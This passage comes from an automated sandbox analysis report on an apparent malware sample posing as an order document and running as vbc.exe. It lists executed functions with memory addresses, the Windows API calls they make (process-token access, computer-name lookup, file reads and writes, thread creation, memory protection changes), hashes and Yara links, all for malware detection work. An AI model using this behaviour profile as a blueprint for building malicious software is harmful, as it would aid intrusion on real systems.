Instruction Fuzzy Hash: 3D51EA74E102198BDB14CFA9C5815AEBBF2FF89304F2481A9D418A7355DB359D42CF61

Function 0B50AB30 Relevance: .1, Instructions: 131COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1465375602.000000000B500000.00000040.00000800.00020000.00000000.sdmp, Offset: 0B500000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b500000_RFQ_PO N89397-GM7287-Order.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1827b66b2f96634c6f6579474938deab1a4ef34180e352b959fe369a43f739ad
Instruction ID: 2743b4b5cb92ce87ca007afc4d393293cbf0c989175905ce0be3724e5c026b1c
Opcode Fuzzy Hash: 1827b66b2f96634c6f6579474938deab1a4ef34180e352b959fe369a43f739ad
Instruction Fuzzy Hash: 1F512974E102198BDB14CFA9C5806AEFBF2FF89300F2481A9D418A7355DB31AD42CFA1

Function 0B50A2C0 Relevance: .1, Instructions: 129COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1465375602.000000000B500000.00000040.00000800.00020000.00000000.sdmp, Offset: 0B500000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b500000_RFQ_PO N89397-GM7287-Order.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6f37d36ed07ecb98d4ea9671748d70c8249ddd70021d750b162f70ace60cfb83
Instruction ID: 01b13dd1ff747c724b2149132609ce88f5c9bfb2da0d5735b93a7400565d51fe
Opcode Fuzzy Hash: 6f37d36ed07ecb98d4ea9671748d70c8249ddd70021d750b162f70ace60cfb83
Instruction Fuzzy Hash: B1511874E102198FDB14CFA9C5805AEBBF2FF89300F2481A9D418AB356DB359E42CF61

Analysis Process: vbc.exePID: 7796, Parent PID: 7316COMMON

Execution Graph

Execution Coverage:	5%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	13.3%
Total number of Nodes:	376
Total number of Limit Nodes:	65

Executed Functions

Function 00F6CBD0 Relevance: 21.4, APIs: 10, Strings: 2, Instructions: 418COMMON

Download Yara Rule

Strings

d, xrefs: 00F6C294
w, xrefs: 00F6C289

Memory Dump Source

Source File: 00000009.00000002.2648945489.0000000000F44000.00000040.00001000.00020000.00000000.sdmp, Offset: 00F44000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_f44000_vbc.jbxd

Similarity

API ID:
String ID: d$w
API String ID: 0-2400632791
Opcode ID: a1a0c2e952d37856a68cef45baed786306aee67e0cbcf24f09bf12ec603c5637
Instruction ID: 79ba990036e9d1850779055a0b1d3d30286f1685b70b5dea109740e32a481210
Opcode Fuzzy Hash: a1a0c2e952d37856a68cef45baed786306aee67e0cbcf24f09bf12ec603c5637
Instruction Fuzzy Hash: 5EC12721E0C380AFDA359A648C19B753B649F72770F8D0156E5D6CA0F3D71A9C44B6E2

Function 00F68550 Relevance: 20.0, APIs: 13, Instructions: 515COMMON

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 00F67FD4
wsprintfW.USER32 ref: 00F6896D

Memory Dump Source

Source File: 00000009.00000002.2648945489.0000000000F44000.00000040.00001000.00020000.00000000.sdmp, Offset: 00F44000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_f44000_vbc.jbxd

Similarity

API ID: ErrorLastwsprintf
String ID:
API String ID: 2587402804-0
Opcode ID: c15d6a15d2e8a02e1cd25b4513d9cea5a3604068d2d658e054be4d623b898f20
Instruction ID: 7f2ac9fb20d102d1aecaab24aaafb8d3728c5cde9a893226e0d2789502c9a7d9
Opcode Fuzzy Hash: c15d6a15d2e8a02e1cd25b4513d9cea5a3604068d2d658e054be4d623b898f20
Instruction Fuzzy Hash: 30F13761D0C381AACB3556288C19B753BA05B727F4F5C0B8EE562971F2DD658C0BB323

Function 00F48286 Relevance: 19.1, APIs: 8, Strings: 2, Instructions: 1640COMMON

Download Yara Rule

APIs

OpenProcessToken.ADVAPI32(?,00000008), ref: 00F4838F
CloseHandle.KERNELBASE ref: 00F4839F

Strings

, xrefs: 00F47395
AQu, xrefs: 00F5295E

Memory Dump Source

Source File: 00000009.00000002.2648945489.0000000000F44000.00000040.00001000.00020000.00000000.sdmp, Offset: 00F44000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_f44000_vbc.jbxd

Similarity

API ID: CloseHandleOpenProcessToken
String ID: $AQu
API String ID: 3879341014-1472930311
Opcode ID: 3f5860abf9943705f6f1761d6aed33b7c52103a98d3a9bdc559da42b1b15551d
Instruction ID: 40ea2fea841611aa64a72de268ebc223a513376f393fbc79997ca6f8b5365e30
Opcode Fuzzy Hash: 3f5860abf9943705f6f1761d6aed33b7c52103a98d3a9bdc559da42b1b15551d
Instruction Fuzzy Hash: 78B20331E0C3819BCB369B1888446357F60ABA3735F5D82DADE85CB1A3D6659C0AF353

Function 00F4DF57 Relevance: .0, Instructions: 33COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2648945489.0000000000F44000.00000040.00001000.00020000.00000000.sdmp, Offset: 00F44000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_f44000_vbc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1c10da4cabbb9f6fa63b6073af8339c1632afd2cbf252d8cc352f4c8bf6857c0
Instruction ID: cf14d31361f8306993cf8b8ab5dbbf172e014c731d29ba5d6e2ac482e47ee7be
Opcode Fuzzy Hash: 1c10da4cabbb9f6fa63b6073af8339c1632afd2cbf252d8cc352f4c8bf6857c0
Instruction Fuzzy Hash: 84E02B5EE4820075DB391E189C55D387D5476B5730E981716DC7A421D096965E043053

Function 00F4CE90 Relevance: 14.1, APIs: 9, Instructions: 648COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2648945489.0000000000F44000.00000040.00001000.00020000.00000000.sdmp, Offset: 00F44000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_f44000_vbc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dff88ddd41cfaf2dfdc34ab88f9b967fe7d504408445125d40944be4b6b3ed3c
Instruction ID: 961a1228a227ab041fa1b94f435cbe9621185b420f28975a810bbb53f9868b93
Opcode Fuzzy Hash: dff88ddd41cfaf2dfdc34ab88f9b967fe7d504408445125d40944be4b6b3ed3c
Instruction Fuzzy Hash: D1221D21D0E3809FDB768B2888187367FA05FA2734F0D559AEC95471E2D6799D08F3A3

Function 00F4AD10 Relevance: 7.4, APIs: 3, Strings: 1, Instructions: 396COMMON

Download Yara Rule

Strings

tu, xrefs: 00F489E1

Memory Dump Source

Source File: 00000009.00000002.2648945489.0000000000F44000.00000040.00001000.00020000.00000000.sdmp, Offset: 00F44000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_f44000_vbc.jbxd

Similarity

API ID:
String ID: tu
API String ID: 0-2479440269
Opcode ID: 041eb42ef0ba21f1f17647b44505322d585c23608eab0971a012b00da6138b0d
Instruction ID: 926d147ed607f142e72311e02efd8f53ddaaf22596edc79b79dada8a87c4c89e
Opcode Fuzzy Hash: 041eb42ef0ba21f1f17647b44505322d585c23608eab0971a012b00da6138b0d
Instruction Fuzzy Hash: 09C10426D0E3805BDB768628481473A7FA06FA2770F4D558AEC858B1E3D769CC05F393

Function 00F4AE3A Relevance: 7.3, APIs: 2, Strings: 2, Instructions: 254COMMON

Download Yara Rule

Strings

SWVtvut, xrefs: 00F4B0AB
tu, xrefs: 00F489E1

Memory Dump Source

Source File: 00000009.00000002.2648945489.0000000000F44000.00000040.00001000.00020000.00000000.sdmp, Offset: 00F44000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_f44000_vbc.jbxd

Similarity

API ID:
String ID: SWVtvut$tu
API String ID: 0-794884318
Opcode ID: ec4e90ef424b724876babbd535a61fbaa51e0266815ebecec36beaa531363642
Instruction ID: 3644b8fb620b1fb36c4ed454b3aed4bb047fcebee359931f4c0a8403190dd776
Opcode Fuzzy Hash: ec4e90ef424b724876babbd535a61fbaa51e0266815ebecec36beaa531363642
Instruction Fuzzy Hash: 80917461D4D3819ED722CB298814777BFA05BA2370F0D868AECA58B1E3D2748D08F753

Function 00F4B180 Relevance: 6.1, APIs: 4, Instructions: 95
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetFilePointerEx.KERNELBASE ref: 00F4B2BA
WriteFile.KERNELBASE(?,?,00000004,?,00000000), ref: 00F4B2E0

Memory Dump Source

Source File: 00000009.00000002.2648945489.0000000000F44000.00000040.00001000.00020000.00000000.sdmp, Offset: 00F44000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_f44000_vbc.jbxd

Similarity

API ID: File$PointerWrite
String ID:
API String ID: 539440098-0
Opcode ID: 689bbe895197017e3100b6c9de269d6d4086c1e24d7567a1a697849ea8add19f
Instruction ID: 3c970b5888d6fcdda2e6e3a310fae8d3484dd13b152c3f6e1d5014f40a599a59
Opcode Fuzzy Hash: 689bbe895197017e3100b6c9de269d6d4086c1e24d7567a1a697849ea8add19f
Instruction Fuzzy Hash: 1C31727180C3849ED7118F2A881977BBFE4AF96734F48854DEC9486293D3B9D908B753

Function 09F1EEB0 Relevance: 5.6, APIs: 1, Strings: 2, Instructions: 323
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 09F1C3AC: GetModuleHandleW.KERNELBASE(?), ref: 09F1D6BA

CreateWindowExW.USER32(?,?,?,?,?,?,?,?,?,?,?,?), ref: 09F1F951

Strings

0, xrefs: 09F1F927
[A@i^, xrefs: 09F1F009

Memory Dump Source

Source File: 00000009.00000002.2755656125.0000000009F10000.00000040.00000800.00020000.00000000.sdmp, Offset: 09F10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_9f10000_vbc.jbxd

Similarity

API ID: CreateHandleModuleWindow
String ID: 0$[A@i^
API String ID: 1178124398-1524683153
Opcode ID: c7195831ca29befead0414fc1bf3cf152a7fdf075fb9c5b4a6f75413d636c864
Instruction ID: f347b9eb4995408eca00d0252c40e3dab3fcbc2b58eb350b7aa713d642214a7a
Opcode Fuzzy Hash: c7195831ca29befead0414fc1bf3cf152a7fdf075fb9c5b4a6f75413d636c864
Instruction Fuzzy Hash: 72C13974A007099FDB14EF69D890AAEBBF1FF88300F108569E40ADB351DB74A945CF95

Function 00F4E64F Relevance: 4.7, APIs: 3, Instructions: 244
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000009.00000002.2648945489.0000000000F44000.00000040.00001000.00020000.00000000.sdmp, Offset: 00F44000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_f44000_vbc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 862a4f9b6626ba9db815b71ea64d41f9ee5be2df1fef5e1423a990a0803da14d
Instruction ID: 7571d3dae737f20b658fb30c74faa3c5c5806138710011aa79954eab0fb33b90
Opcode Fuzzy Hash: 862a4f9b6626ba9db815b71ea64d41f9ee5be2df1fef5e1423a990a0803da14d
Instruction Fuzzy Hash: 00918431D0D3819EDB228F28880477A7FA07F66734F49869EEC958A1D2D7759C08F752

Function 00F67DF0 Relevance: 4.6, APIs: 3, Instructions: 89
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetComputerNameW.KERNEL32 ref: 00F67E0F

Memory Dump Source

Source File: 00000009.00000002.2648945489.0000000000F44000.00000040.00001000.00020000.00000000.sdmp, Offset: 00F44000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_f44000_vbc.jbxd

Similarity

API ID: ComputerName
String ID:
API String ID: 3545744682-0
Opcode ID: 965e4073ba8491133caa4bffc42209f091d6db640bd5f686c709c5a3297cbf92
Instruction ID: ddee401455ebd6cc6be3753e3680b6136e633cb6be818fad0346b061760998c6
Opcode Fuzzy Hash: 965e4073ba8491133caa4bffc42209f091d6db640bd5f686c709c5a3297cbf92
Instruction Fuzzy Hash: 1F216771E4C3047BEA3577148C06FB53A346F62B7CF884D8AF588551D2D5686C09B263

Function 00F4B665 Relevance: 4.6, APIs: 3, Instructions: 88
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000009.00000002.2648945489.0000000000F44000.00000040.00001000.00020000.00000000.sdmp, Offset: 00F44000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_f44000_vbc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1ebc5729437701fd3a3b73dc7d4ac95f04e104fcc543dfa199ccfdfd361d0d84
Instruction ID: 8ff9a81b7e86ac2bd7f07d531083161001b37278aace8234ddae389a73d4bdd3
Opcode Fuzzy Hash: 1ebc5729437701fd3a3b73dc7d4ac95f04e104fcc543dfa199ccfdfd361d0d84
Instruction Fuzzy Hash: 12316731C0D7849EDB228F24885873A7FA4AB95774F08448EEC81861A3C7B8CC09F763

Function 00F4A915 Relevance: 3.7, APIs: 1, Strings: 1, Instructions: 246COMMON

Download Yara Rule

Strings

D$, xrefs: 00F49695

Memory Dump Source

Source File: 00000009.00000002.2648945489.0000000000F44000.00000040.00001000.00020000.00000000.sdmp, Offset: 00F44000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_f44000_vbc.jbxd

Similarity

API ID:
String ID: D$
API String ID: 0-2582639798
Opcode ID: 5e6ba4a7ba577d0fc7e8e6ed220beb8b9145c2d44f6961a8f25a161d80482199
Instruction ID: 4d00e814b0dbc51c73b683f50c3487cb70b4a056d70491de76bf2fac833bdb48
Opcode Fuzzy Hash: 5e6ba4a7ba577d0fc7e8e6ed220beb8b9145c2d44f6961a8f25a161d80482199
Instruction Fuzzy Hash: 7271C725ECE3C15FDB3646284C157367FA09BA2770F9E42CAEC918A1E2D6998C05F313

Function 09F1F785 Relevance: 3.7, APIs: 1, Strings: 1, Instructions: 187
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateWindowExW.USER32(?,?,?,?,?,?,?,?,?,?,?,?), ref: 09F1F951

Strings

0, xrefs: 09F1F927

Memory Dump Source

Source File: 00000009.00000002.2755656125.0000000009F10000.00000040.00000800.00020000.00000000.sdmp, Offset: 09F10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_9f10000_vbc.jbxd

Similarity

API ID: CreateWindow
String ID: 0
API String ID: 716092398-4108050209
Opcode ID: be0d4e95cf9c4e61eeed50cfbed5822098a96cbef047e288d08226f6fa513cbc
Instruction ID: 3c03b96b80597220e8e2527aa35fe0711235edac371e716254052a753f61c4ae
Opcode Fuzzy Hash: be0d4e95cf9c4e61eeed50cfbed5822098a96cbef047e288d08226f6fa513cbc
Instruction Fuzzy Hash: FC717AB4D00218DFDF20CFA9D984BDEBBF1BB09314F5491AAE858A7221D7349A85CF44

Function 09F1C564 Relevance: 3.7, APIs: 1, Strings: 1, Instructions: 185
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateWindowExW.USER32(?,?,?,?,?,?,?,?,?,?,?,?), ref: 09F1F951

Strings

0, xrefs: 09F1F927

Memory Dump Source

Source File: 00000009.00000002.2755656125.0000000009F10000.00000040.00000800.00020000.00000000.sdmp, Offset: 09F10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_9f10000_vbc.jbxd

Similarity

API ID: CreateWindow
String ID: 0
API String ID: 716092398-4108050209
Opcode ID: 980e40eac9dc50a61207b02a456a0c3160ca6b00dc48fe11b471358331d92796
Instruction ID: f6597cd547ccde964bf714364c4ab31989da19511f26174d0f2f25e478fd39d7
Opcode Fuzzy Hash: 980e40eac9dc50a61207b02a456a0c3160ca6b00dc48fe11b471358331d92796
Instruction Fuzzy Hash: 7C716CB4D00218DFDF20CFA9D984BDEBBF1BB09310F5491AAE818A7221D7719985CF54

Function 00F4B09F Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 43COMMON

Download Yara Rule

APIs

SetFilePointerEx.KERNELBASE ref: 00F4B08B

Strings

SWVtvut, xrefs: 00F4B0AB

Memory Dump Source

Source File: 00000009.00000002.2648945489.0000000000F44000.00000040.00001000.00020000.00000000.sdmp, Offset: 00F44000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_f44000_vbc.jbxd

Similarity

API ID: FilePointer
String ID: SWVtvut
API String ID: 973152223-2559063503
Opcode ID: 06fa768bc927e25de1c31a72dc0bda8c3b9c12eeec895d0e7fa52c0fd0a7c251
Instruction ID: 4af16d3db72760c12f4f62e4c68904b0128b845b03aafd76a9a12d9077d0b065
Opcode Fuzzy Hash: 06fa768bc927e25de1c31a72dc0bda8c3b9c12eeec895d0e7fa52c0fd0a7c251
Instruction Fuzzy Hash: 40017C72D4E3819FD3258B198854A77BFA49FA2731F09858EE8658B1E3C334CC04A713

Function 00F4B4FE Relevance: 3.1, APIs: 2, Instructions: 65
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ReadFile.KERNELBASE(?,?), ref: 00F4B777

Memory Dump Source

Source File: 00000009.00000002.2648945489.0000000000F44000.00000040.00001000.00020000.00000000.sdmp, Offset: 00F44000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_f44000_vbc.jbxd

Similarity

API ID: FileRead
String ID:
API String ID: 2738559852-0
Opcode ID: 87889544b43b9dd23c3566f9c78d9bb98b71d6b03eb128aa346efa4cd0db30d9
Instruction ID: 9ecf0240fc5a44403f04fc827898af3862059df2ccb03a16b620478f3ee55754
Opcode Fuzzy Hash: 87889544b43b9dd23c3566f9c78d9bb98b71d6b03eb128aa346efa4cd0db30d9
Instruction Fuzzy Hash: A211A322E0C3456BCF219E648C44A797F78EBE6770F48445AFE80860A3D368CD14F762

Function 00F4D624 Relevance: 3.1, APIs: 2, Instructions: 63timeCOMMON

Download Yara Rule

APIs

GetFileSizeEx.KERNEL32(00F8A184,?,?,?,?,?,?,?,?,?,?,?,?,00F8A184,00000000), ref: 00F4D729
SetFileTime.KERNELBASE ref: 00F4D788

Memory Dump Source

Source File: 00000009.00000002.2648945489.0000000000F44000.00000040.00001000.00020000.00000000.sdmp, Offset: 00F44000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_f44000_vbc.jbxd

Similarity

API ID: File$SizeTime
String ID:
API String ID: 3321136615-0
Opcode ID: 0e9e569d0a8edfdb27f8bb5080da0ea8618d59109ff59b7764d224ebb2e68590
Instruction ID: 01168d4dc018bfb9834918ec31cd03a30b6caefba3f24351d72cee36a0a6dbf2
Opcode Fuzzy Hash: 0e9e569d0a8edfdb27f8bb5080da0ea8618d59109ff59b7764d224ebb2e68590
Instruction Fuzzy Hash: C4112835C0E2409BCB7B8B1998587327FA46BA63B0F1C154BED21831F1D26C9D00F663

Function 00F45A3B Relevance: 3.1, APIs: 2, Instructions: 61
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateThread.KERNELBASE(00000000,00000000,00F455C0,?,00000000,00000000), ref: 00F45A51
RtlExitUserThread.NTDLL(00000000), ref: 00F45B11

Memory Dump Source

Source File: 00000009.00000002.2648945489.0000000000F44000.00000040.00001000.00020000.00000000.sdmp, Offset: 00F44000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_f44000_vbc.jbxd

Similarity

API ID: Thread$CreateExitUser
String ID:
API String ID: 4108186749-0
Opcode ID: c7918b001c9568da7c11481a832244e17d44966ea15a5c83ef512d47d51f9310
Instruction ID: 985713e0b447643709b3eb36c2edcbcbc77f32d905b32ecc3e9ce422a0501275
Opcode Fuzzy Hash: c7918b001c9568da7c11481a832244e17d44966ea15a5c83ef512d47d51f9310
Instruction Fuzzy Hash: B8110815D0DBC24FD722A7784865366BFA05B63B34F1902C6D9908A1E3D2594D4CA3A3

Function 00F4BFD5 Relevance: 3.1, APIs: 2, Instructions: 56fileCOMMON

Download Yara Rule

APIs

SetFilePointerEx.KERNELBASE ref: 00F4BDD4
ReadFile.KERNELBASE(?,?,?,?,00000000), ref: 00F4C14B

Memory Dump Source

Source File: 00000009.00000002.2648945489.0000000000F44000.00000040.00001000.00020000.00000000.sdmp, Offset: 00F44000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_f44000_vbc.jbxd

Similarity

API ID: File$PointerRead
String ID:
API String ID: 3154509469-0
Opcode ID: 23ff362b96602d9a21a8d8de70b59c0907b74a6c66c28a109bcbdb0e7fb4a305
Instruction ID: b29172706ed98ae4c0c22ad597cea144d5588898adf1b0a69c7a223138c0c9a8
Opcode Fuzzy Hash: 23ff362b96602d9a21a8d8de70b59c0907b74a6c66c28a109bcbdb0e7fb4a305
Instruction Fuzzy Hash: CD115165C0E3815FD7268B28881972A7FB06FA3331F4954CAECC0CA1A3D779C908A752

Function 00F4BF27 Relevance: 3.0, APIs: 2, Instructions: 42fileCOMMON

Download Yara Rule

APIs

ReadFile.KERNELBASE ref: 00F4B9DD
SetFilePointerEx.KERNELBASE ref: 00F4BD53

Memory Dump Source

Source File: 00000009.00000002.2648945489.0000000000F44000.00000040.00001000.00020000.00000000.sdmp, Offset: 00F44000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_f44000_vbc.jbxd

Similarity

API ID: File$PointerRead
String ID:
API String ID: 3154509469-0
Opcode ID: 13bede36612ec526489937982aa42fbf2fe51175b71f9f160d57e4e405faf7c0
Instruction ID: 79f014fb4eac75be56ac114dbc9015e14d088bbd7fb993c04839f757a2774902
Opcode Fuzzy Hash: 13bede36612ec526489937982aa42fbf2fe51175b71f9f160d57e4e405faf7c0
Instruction Fuzzy Hash: B7018FB1C4D3009ED7256F28840837A7EE0AB51760F4998AAEC4692153DB78C804BB97

Function 00F4B9CF Relevance: 3.0, APIs: 2, Instructions: 25fileCOMMON

Download Yara Rule

APIs

ReadFile.KERNELBASE ref: 00F4B9DD
SetFilePointerEx.KERNELBASE ref: 00F4BD53
SetFilePointerEx.KERNELBASE ref: 00F4BDD4

Memory Dump Source

Source File: 00000009.00000002.2648945489.0000000000F44000.00000040.00001000.00020000.00000000.sdmp, Offset: 00F44000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_f44000_vbc.jbxd

Similarity

API ID: File$Pointer$Read
String ID:
API String ID: 2010065189-0
Opcode ID: 5ab3ff3b58f1a1a68045a2a141ef67788c328beb12e56a858597fa5e0cc11591
Instruction ID: c63d941f215a9e87c56a8cda079fff8d64577d63ff802564532241442742a40f
Opcode Fuzzy Hash: 5ab3ff3b58f1a1a68045a2a141ef67788c328beb12e56a858597fa5e0cc11591
Instruction Fuzzy Hash: 09F0AC61C4D3C24FD7162F7C84593667FB0AF12310F5949D6DCC18A053DB68C859EB56

Function 09F1D438 Relevance: 1.7, APIs: 1, Instructions: 227
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000009.00000002.2755656125.0000000009F10000.00000040.00000800.00020000.00000000.sdmp, Offset: 09F10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_9f10000_vbc.jbxd

Similarity

API ID: HandleModule
String ID:
API String ID: 4139908857-0
Opcode ID: 1cc071369eedf10d0451d2030adde5f6b9f08dd5f56cf77ee4402668e51f6627
Instruction ID: 4ef76d90b6fa13c8407cddd2fdcf9236af0e8cba62180ed755c0a7206582935d
Opcode Fuzzy Hash: 1cc071369eedf10d0451d2030adde5f6b9f08dd5f56cf77ee4402668e51f6627
Instruction Fuzzy Hash: A79123B0E007099FDB24DF69D441B9ABBF1BF48304F10992AE48AE7B90D734E945CB95

Function 00F45F10 Relevance: 1.7, APIs: 1, Instructions: 212COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2648945489.0000000000F44000.00000040.00001000.00020000.00000000.sdmp, Offset: 00F44000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_f44000_vbc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0831aaf6dd1de15121803eb507d35275164a1f239c2c5c9907f858120238f70e
Instruction ID: b9865ae1ca0ef9a5abbcd9d6c91d7f7c148d3d68321f561e8598373e139d97cc
Opcode Fuzzy Hash: 0831aaf6dd1de15121803eb507d35275164a1f239c2c5c9907f858120238f70e
Instruction Fuzzy Hash: 3461AE62C0DF808BCB366A2C8814675BF606B63F34F4D869ADC958B1A3D2758D48B353

Function 00F4D51E Relevance: 1.7, APIs: 1, Instructions: 205fileCOMMON

Download Yara Rule

APIs

ReadFile.KERNELBASE ref: 00F4D3D2

Memory Dump Source

Source File: 00000009.00000002.2648945489.0000000000F44000.00000040.00001000.00020000.00000000.sdmp, Offset: 00F44000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_f44000_vbc.jbxd

Similarity

API ID: FileRead
String ID:
API String ID: 2738559852-0
Opcode ID: c734f3e328914a611853d883b3a79d55037c5b814707ed76b598fb2ea9f3d58b
Instruction ID: 1d79fb5126e9f75418ae29bb47fb971d9513f47b61a19e23145e7e126eff4d0c
Opcode Fuzzy Hash: c734f3e328914a611853d883b3a79d55037c5b814707ed76b598fb2ea9f3d58b
Instruction Fuzzy Hash: F261E721D0E3C09EDB76866888187367FE11B76738F4C2599EC94571E2D2698C08F3E3

Function 00F502C6 Relevance: 1.7, APIs: 1, Instructions: 157COMMON

Download Yara Rule

APIs

SetFilePointerEx.KERNELBASE ref: 00F4FE66

Memory Dump Source

Source File: 00000009.00000002.2648945489.0000000000F44000.00000040.00001000.00020000.00000000.sdmp, Offset: 00F44000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_f44000_vbc.jbxd

Similarity

API ID: FilePointer
String ID:
API String ID: 973152223-0
Opcode ID: 9bee752cd174afa7fc9f9cc277071de960024031675120980bffa23b671fc78f
Instruction ID: 9c1710bb140836dc1e74369a14c03c788f0f6cb0410cb34f049f75891625db15
Opcode Fuzzy Hash: 9bee752cd174afa7fc9f9cc277071de960024031675120980bffa23b671fc78f
Instruction Fuzzy Hash: C6514811D0D3815EDB36862888187766FA07F62332F4D46AADE99871F3D9688C0DF363

Function 00F497A7 Relevance: 1.6, APIs: 1, Instructions: 117
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000009.00000002.2648945489.0000000000F44000.00000040.00001000.00020000.00000000.sdmp, Offset: 00F44000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_f44000_vbc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e01a27af346859f09a36a256eaf8de3ad7ab9cd9ceb1603eb068fa0e65682ffc
Instruction ID: e10ba0c3961fa492310ac55da4761fbba1efaa23f22fb6b4c5bc5489770b1fba
Opcode Fuzzy Hash: e01a27af346859f09a36a256eaf8de3ad7ab9cd9ceb1603eb068fa0e65682ffc
Instruction Fuzzy Hash: CB31B462F0D3829FDB264B641C595773F619E93730B4E05CBDD818A0A3E6E84D09B362

Function 00F4B97E Relevance: 1.6, APIs: 1, Instructions: 102COMMON

Download Yara Rule

APIs

SetFilePointerEx.KERNELBASE ref: 00F4BDD4

Memory Dump Source

Source File: 00000009.00000002.2648945489.0000000000F44000.00000040.00001000.00020000.00000000.sdmp, Offset: 00F44000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_f44000_vbc.jbxd

Similarity

API ID: FilePointer
String ID:
API String ID: 973152223-0
Opcode ID: 87bf29c4469b88936c091427a5cc63be206fa49c6d9b9dbcbc2fec80d6bed186
Instruction ID: 8e3f1dd2757870d541c476f3dd771ad290c40149ee00ff66d8eac1ccf9fa5e05
Opcode Fuzzy Hash: 87bf29c4469b88936c091427a5cc63be206fa49c6d9b9dbcbc2fec80d6bed186
Instruction Fuzzy Hash: C831C121C0C3819ADF369A2984983793FA0AB62331F4D44D9DDC58B157E728CC04F762

Function 00F46490 Relevance: 1.6, APIs: 1, Instructions: 101COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2648945489.0000000000F44000.00000040.00001000.00020000.00000000.sdmp, Offset: 00F44000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_f44000_vbc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ac11ad164c698359be961165d21d0a534022d8fec78340647d8f814f3fb54598
Instruction ID: b1842e4514939bddd1947bf68c4ab4b8d9eca47521d854bbc418b11b021cfbd4
Opcode Fuzzy Hash: ac11ad164c698359be961165d21d0a534022d8fec78340647d8f814f3fb54598
Instruction Fuzzy Hash: 9D319061D087809BCF35DB28C444335BEA06BA7B74F48859ADC85CA2A2D6B98D48B753

Function 070BF4C0 Relevance: 1.6, APIs: 1, Instructions: 96memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNELBASE(?,?,?,?), ref: 070BF564

Memory Dump Source

Source File: 00000009.00000002.2669985021.00000000070B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 070B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_70b0000_vbc.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: dbeccbb1e440ce99f5ef2ad825e030d6aacc06ae2a9ce4ab3ef7df8abfd2a532
Instruction ID: ec1964f8183448edb6f45c33a0020b187e82af3aeda21287fe9ad4e69c212e3a
